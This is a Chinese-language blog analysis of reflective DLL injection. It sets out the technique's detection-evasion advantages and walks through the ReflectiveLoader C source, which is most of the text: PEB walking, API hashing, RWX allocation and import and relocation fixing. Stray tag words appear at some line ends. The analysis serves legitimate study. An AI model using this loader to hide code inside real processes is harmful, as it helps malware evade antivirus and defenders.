反射Dll注入分析

(源碼做者:(HarmanySecurity)Stephen Fewer)html

0x01  反射Dll注入的優勢shell

    1.反射Dll注入的主要優勢是它沒有以主機系統的任何方式(例如LoadLibrary和LoadLibraryEx)進行註冊,所以在系統和進程級別上基本上都是不可檢測的,而且反射DLL注入寫入了較少的的shellcode,進一步下降被檢測到的可能性。數組

    1.在遠程開發中使用反射DLL注入時,注入到宿主進程的Dll難以被反病毒的文件掃描器檢測到,由於它從不會接觸到磁盤,直接從內存中寫入加載到宿主進程。函數

 

0x02  注入過程(原理)oop

    反射Dll注入的過程分兩大步,首先反射Dll注入將Dll從內存加載到宿主進程中。而後Dll將經過實現一個自實現的文件加載器程序來加載它本身(例如解析其導入表以及移到內存中的適當位置的重定位表修正),以知足dll的運行指望。而後,它就能夠在宿主進程中,嗯,「參與」到宿主進程的「活動」中。ui

 

    流程:this

    1.先將Dll映像文件(原始PE文件)寫入到宿主進程空間當中spa

    2.reflectiveloader將首先計算imagede 的當前位置,以便後續加載本身。code

    3.在宿主進程中查詢Kernel32動態庫,計算出三個函數的地址:即LoadLibraryA,GetProcAddress,VirtualAlloc。orm

    4.reflectiveloader繼續分配的內存中的連續區域,用於加載Dll.

    5.reflectiveloader將Dll的 headers 和 sections 複製到宿主進程中的新分配的內存區域。

    6.reflectiveloader修正Dll中的導入表

    7.reflectiveloader修正Dll中的重定位表

    8.reflectiveloader加載工做完成後調用DLL入口點

 

0x03  加載Dll文件的reflectiveloader的關鍵流程具體實現

     (1)查詢Kernel32動態庫,計算出三個函數的地址:即LoadLibraryA,GetProcAddress,VirtualAlloc:

     首先要獲取PEB:

#ifdef _WIN64
	Peb = (PPEB)__readgsqword(0x60);
#else
#ifdef _WIN32
	Peb = (PPEB)__readfsdword(0x30);
#else 
#endif
#endif

  再經過PEB獲得Kernel32動態庫的地址,先看PEB的結構:

    看到0x18偏移處的成員PEB_LDR_DATA:

    其中的三個LIST_ENTRY鏈表,按照不一樣的順序將當前進程加載的全部模塊連接起來,遍歷其中的任意一個LIST_ENTRY,均可以得到全部模塊的基地址。

    再看這個LDR_DATA_TABLE_ENTRY的結構:
    

    經過PEB_LDR_DATA的和LDR_DATA_TABLE_ENTRY共有的三根鏈表,咱們也能經過LDR_DATA_TABLE_ENTRY結構中的FULLDLLNAME成員獲得模塊名,用來肯定kernel32模塊,進一步獲得模塊基地址DllBase.

 

#define KERNEL32DLL_HASH				0x6A4ABC5B

Ldr = (ULONG_PTR)Peb->Ldr;

	LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)((PPEB_LDR_DATA)Ldr)->InMemoryOrderModuleList.Flink;
	while (LdrDataTableEntry)
	{
	
		ModuleName = (ULONG_PTR)LdrDataTableEntry->FullDllName.Buffer;   //雙字 

		ModuleNameLength = LdrDataTableEntry->FullDllName.Length;

		ModuleHashValue = 0;
		do
		{
			ModuleHashValue = ror((DWORD)ModuleHashValue);  
		
			if (*((BYTE *)ModuleName) >= 'a')   //轉換爲大寫
				ModuleHashValue += *((BYTE *)ModuleName) - 0x20;
			else
				ModuleHashValue += *((BYTE *)ModuleName);
			ModuleName++;
		} while (--ModuleNameLength);

		//在目標進程中查詢Kernel32動態庫
		if ((DWORD)ModuleHashValue == KERNEL32DLL_HASH)
		{
			//得到Kerner32.dll的模塊地址
			ModuleBase = (ULONG_PTR)LdrDataTableEntry->Reserved2[0];  //DllBase

  獲得kernel32的基地址後,再步步爲營,獲得NT頭,數據目錄表,導出表,從而在導出表中查找三個函數LoadLibraryA,GetProcAddress,VirtualAlloc的地址:

if ((DWORD)ModuleHashValue == KERNEL32DLL_HASH)
		{
			//得到Kerner32.dll的模塊地址
			ModuleBase = (ULONG_PTR)LdrDataTableEntry->Reserved2[0];  //DllBase


			ImageNtHeaders = (ModuleBase + ((PIMAGE_DOS_HEADER)ModuleBase)->e_lfanew);


			//有兩個成員的結構體目錄
			ImageDataDirectory = (UINT_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];


			//導出表地址
			ImageExportDirectory = (ModuleBase + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);

	

			AddressOfNames = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNames);


			AddressOfNameOrdinals = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNameOrdinals);
			NumberOfNames = ((PIMAGE_EXPORT_DIRECTORY )ImageExportDirectory)->NumberOfNames;
			IsLoop = 4;

			// loop while we still have imports to find
			while (IsLoop > 0&&NumberOfNames>0)
			{
				// compute the hash values for this function name
				HashValue = MakeHashValue((char *)(ModuleBase + DEREFERENCE_32(AddressOfNames)));

				// if we have found a function we want we get its virtual address
				if (HashValue == LOADLIBRARYA_HASH || 
					HashValue == GETPROCADDRESS_HASH || 
					HashValue == VIRTUALALLOC_HASH ||
					HashValue == EXITTHREAD_HSAH)
				{
					// get the VA for the array of addresses
					AddressOfFunctions = (ModuleBase +
						((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfFunctions);

					// use this functions name ordinal as an index into the array of name pointers
					AddressOfFunctions += (DEREFERENCE_16(AddressOfNameOrdinals) * sizeof(DWORD));

					// store this functions VA
					if (HashValue == LOADLIBRARYA_HASH)
						LoadLibraryA = (REFLECTIVELOADER::LPFN_LOADLIBRARYA)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));
					else if (HashValue == GETPROCADDRESS_HASH)
						GetProcAddress = (REFLECTIVELOADER::LPFN_GETPROCADDRESS)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));
					else if (HashValue == VIRTUALALLOC_HASH)
						VirtualAlloc = (REFLECTIVELOADER::LPFN_VIRTUALALLOC)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));
					else if (HashValue == EXITTHREAD_HSAH)
						ExitThread = (REFLECTIVELOADER::LPFN_EXITTHREAD)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));

					// decrement our counter
					IsLoop--;
				}

				// get the next exported function name
				AddressOfNames += sizeof(DWORD);

				// get the next exported function name ordinal
				AddressOfNameOrdinals += sizeof(WORD);

				NumberOfNames--;
			}

  

 

    (2)繼續分配的內存中的連續區域,用於加載Dll,將Dll的 headers 和 sections 複製到宿主進程中的新分配的內存區域,內存粒度對齊各個節

	// STEP 2: load our image into a new permanent location in memory...

	// get the VA of the NT Header for the PE to be loaded
	ImageNtHeaders = (RemoteBufferData + ((PIMAGE_DOS_HEADER)RemoteBufferData)->e_lfanew);

	// allocate all the memory for the DLL to be loaded into. we can load at any address because we will  
	// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
	VirtualAddress = (ULONG_PTR)VirtualAlloc(NULL, 
		((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, 
		PAGE_EXECUTE_READWRITE);

	// we must now copy over the headers
	SizeOfHeaders = ((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.SizeOfHeaders;


	v1 = (BYTE*)RemoteBufferData;
	v2 = (BYTE*)VirtualAddress;
	while (SizeOfHeaders--)
		*(BYTE *)v2++ = *(BYTE *)v1++;

  

	// uiValueA = the VA of the first section
	ULONG_PTR ImageSectionHeader = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader + 
		((PIMAGE_NT_HEADERS)ImageNtHeaders)->FileHeader.SizeOfOptionalHeader);

	// itterate through all sections, loading them into memory.
	NumberOfSections = ((PIMAGE_NT_HEADERS)ImageNtHeaders)->FileHeader.NumberOfSections;
	while (NumberOfSections--)
	{
		// uiValueB is the VA for this section
		SectionVirtualAddress = (VirtualAddress + ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->VirtualAddress);
		


		// uiValueC if the VA for this sections data
		SectionPointerToRawData = (RemoteBufferData + ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->PointerToRawData);

		// copy the section over
		SizeOfRawData = ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->SizeOfRawData;

		while (SizeOfRawData--)
			*(BYTE *)SectionVirtualAddress++ = *(BYTE *)SectionPointerToRawData++;

		// get the VA of the next section
		ImageSectionHeader += sizeof(IMAGE_SECTION_HEADER);
	}

  

    (3)修正Dll中的導入表

            修改DLL的導入表,使這些被引入的函數能正常運行。

           PE文件的引入表是一個元素爲IMAGE_IMPORT_DESCRIPTOR的數組。每個被依賴的DLL都對應着數組中的一個元素。

           (導入表的解析請見:http://www.cnblogs.com/lsh123/p/7754347.html)

      

           

ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];

	// we assume their is an import table to process
	// uiValueC is the first entry in the import table
	ImageImportDescriptor = (VirtualAddress + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);


	while (((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->Name)
	{
		// use LoadLibraryA to load the imported module into memory
		ModuleBase = (ULONG_PTR)LoadLibraryA(
			(LPCSTR)(VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->Name));

		// uiValueD = VA of the OriginalFirstThunk
		OriginalFirstThunk = (VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->OriginalFirstThunk);

		// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
		FirstThunk = (VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->FirstThunk);

		// itterate through all imported functions, importing by ordinal if no name present
		while (DEREFERENCE(FirstThunk))
		{
			// 索引導入
			if (OriginalFirstThunk && ((PIMAGE_THUNK_DATA)OriginalFirstThunk)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
			{
				// get the VA of the modules NT Header
				ImageNtHeaders = ModuleBase + ((PIMAGE_DOS_HEADER)ModuleBase)->e_lfanew;
				
				
				ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
				
				// get the VA of the export directory
				ImageExportDirectory = (ModuleBase + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);
				// get the VA for the array of addresses
				AddressOfFunctions = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfFunctions);

				// use the import ordinal (- export ordinal base) as an index into the array of addresses
				AddressOfFunctions += 
					((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)OriginalFirstThunk)->u1.Ordinal) -
					((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->Base) * sizeof(DWORD));

				// patch in the address for this imported function
				DEREFERENCE(FirstThunk) = (ModuleBase + DEREFERENCE_32(AddressOfFunctions));
			}
			else
			{
				//修正名稱導入的函數地址

				// get the VA of this functions import by name struct
				ImageImportByName = (VirtualAddress + DEREFERENCE(OriginalFirstThunk));
				// use GetProcAddress and patch in the address for this imported function
				DEREFERENCE(FirstThunk) = (ULONG_PTR)GetProcAddress((HMODULE)ModuleBase, 
					(LPCSTR)((PIMAGE_IMPORT_BY_NAME)ImageImportByName)->Name);
			}
			// get the next imported function
			FirstThunk += sizeof(ULONG_PTR);
			if (OriginalFirstThunk)
				OriginalFirstThunk += sizeof(ULONG_PTR);
		}
		// get the next import
		ImageImportDescriptor += sizeof(IMAGE_IMPORT_DESCRIPTOR);
	}

  

 

    (4)修正重定位表

       數據目錄表DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]指向的是重定位表(重定位表的解析請見:http://www.cnblogs.com/lsh123/p/7755187.html)

            

 

ImageNtHeaders = VirtualAddress + ((PIMAGE_DOS_HEADER)VirtualAddress)->e_lfanew;
	Diff = VirtualAddress - ((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.ImageBase;


	//表明重定向表的目錄
	ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

	// check if their are any relocations present
	if (((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->Size)
	{
		//定位到重定向表
		ImageBaseRelocation = (VirtualAddress + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);

		// and we itterate through all entries...
		while (((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock)
		{
			//重定向表中的word表
			v3 = (VirtualAddress + ((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->VirtualAddress);

			// uiValueB = number of entries in this relocation block
			ImageBaseRelocationItemCount = 
				(((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) 
				/ sizeof(IMAGE_BASE_RELOCATION_ITEM);

			// uiValueD is now the first entry in the current relocation block
			ImageBaseRelocationItem = ImageBaseRelocation + sizeof(IMAGE_BASE_RELOCATION);

			// we itterate through all the entries in the current block...
			while (ImageBaseRelocationItemCount--)
			{
				// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
				// we dont use a switch statement to avoid the compiler building a jump table
				// which would not be very position independent!
				if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_DIR64)
					*(ULONG_PTR *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) 
					+= Diff;
				
				else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_HIGHLOW)
					*(DWORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) 
					+= (DWORD)Diff;

				else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_HIGH)
					*(WORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) += 
					HIWORD(Diff);
			
				else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_LOW)
					*(WORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) += LOWORD(Diff);

				// get the next entry in the current relocation block
				ImageBaseRelocationItem += sizeof(IMAGE_BASE_RELOCATION_ITEM);
			}

			// get the next entry in the relocation directory
			ImageBaseRelocation = ImageBaseRelocation + ((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock;
		}
	}
相關文章
相關標籤/搜索